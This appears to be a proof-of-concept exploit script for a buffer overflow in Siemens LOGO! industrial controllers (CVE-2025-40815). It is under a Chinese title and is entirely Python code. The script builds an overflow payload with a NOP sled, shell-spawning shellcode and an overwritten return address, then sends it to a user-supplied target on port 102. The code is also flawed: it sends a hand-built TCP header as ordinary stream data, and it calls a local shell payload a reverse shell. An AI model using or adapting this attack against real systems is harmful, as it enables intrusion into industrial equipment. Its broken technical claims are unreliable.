CVE-2025-40815 Siemens LOGO! 设备TCP数据包验证不当导致远程代码执行

#!/usr/bin/env python3 """ CVE-2025-40815 PoC - Siemens LOGO! TCP Packet Validation Buffer Overflow Note: This PoC is for educational and authorized security testing purposes only. Author: Security Research Reference: https://cert-portal.siemens.com/productcert/html/ssa-267056.html """ import socket import struct import sys def create_malicious_tcp_packet(): """ Create a malicious TCP packet with oversized payload to trigger buffer overflow This targets the TCP packet parsing vulnerability in Siemens LOGO! devices """ # TCP Header fields src_port = 0x1234 dst_port = 102 # Typical LOGO! port seq_num = 0 ack_num = 0 data_offset = 5 # 5 words (20 bytes) flags = 0x02 # SYN flag window = 65535 checksum = 0 urgent_ptr = 0 # Construct TCP header tcp_header = struct.pack('!HHIIBBHHH', src_port, dst_port, seq_num, ack_num, (data_offset << 4), # Data offset in upper 4 bits flags, window, checksum, urgent_ptr ) # Malicious payload - oversized data to trigger buffer overflow # NOP sled for reliable exploitation nop_sled = b'\x90' * 100 # Shellcode placeholder - typical x86 reverse shell # This would be customized based on target architecture shellcode = ( b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' ) # Padding to reach overflow size padding = b'\x41' * (500 - len(nop_sled) - len(shellcode)) # EIP overwrite address (would need to be determined for specific version) eip_overwrite = struct.pack('<I', 0x42424242) payload = nop_sled + shellcode + padding + eip_overwrite return tcp_header + payload def exploit_logo_device(target_ip, target_port=102): """ Send malicious TCP packet to target Siemens LOGO! device """ print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Creating malicious TCP packet for CVE-2025-40815...") packet = create_malicious_tcp_packet() try: print(f"[*] Sending malicious packet ({len(packet)} bytes)...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Send raw packet sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[!] Note: Actual exploitation requires specific version targeting") sock.close() return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.100 102") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 102 print("=" * 60) print("CVE-2025-40815 - Siemens LOGO! Buffer Overflow PoC") print("=" * 60) exploit_logo_device(target, port)